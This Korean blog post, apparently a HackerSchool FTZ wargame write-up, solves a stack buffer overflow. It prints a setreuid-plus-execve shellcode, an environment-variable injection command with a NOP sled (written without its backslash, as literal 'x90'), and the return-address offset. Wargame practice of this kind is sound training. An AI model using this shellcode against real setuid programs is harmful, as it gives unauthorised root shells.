hint에는 권한에 관련된 함수가 없다.
setreuid를 직접 넣어줘야 할 듯 하다.
맨 처음에는 RTL을 써보려고 했다.
gdb로 print setreuid를 통해 setreuid의 주소를 알아냈는데,
인자로 넘겨줄 3100이라는 문자열이 존재하지 않을 것 같다.
결국, setreuid가 포함된 쉘코드를 사용하기로 한다.
[47바이트 쉘 코드]
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
export "SET_SHELL"=$(python -c 'print "x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
로 환경변수에 쉘코드를 입력하고,
아래처럼 소스를 짜서 쉘코드의 주소를 획득한다.
쉘 코드 주소 : 0xbffffe15
gdb를 보면 main+3에서 40바이트만큼 스택을 확장한다.
문자열이 쌓이는 주소는 0xbffff360부터 쌓이고(gdb)
EBP 바로 전까지 40바이트가 쌓인다.
그러니까 총 44바이트 문자열을 넣고, ret부분에 쉘코드 주소를 넣어주면 될 것 같다.
플래그 획득!
'System Hacking' 카테고리의 다른 글
[해커스쿨FTZ] Level12 (0) | 2020.01.06 |
---|---|
[해커스쿨FTZ] Level20 (0) | 2020.01.06 |
[해커스쿨FTZ] Level18 (0) | 2020.01.06 |
[해커스쿨FTZ] Level17 (0) | 2020.01.06 |
[해커스쿨FTZ] Level16 (0) | 2020.01.06 |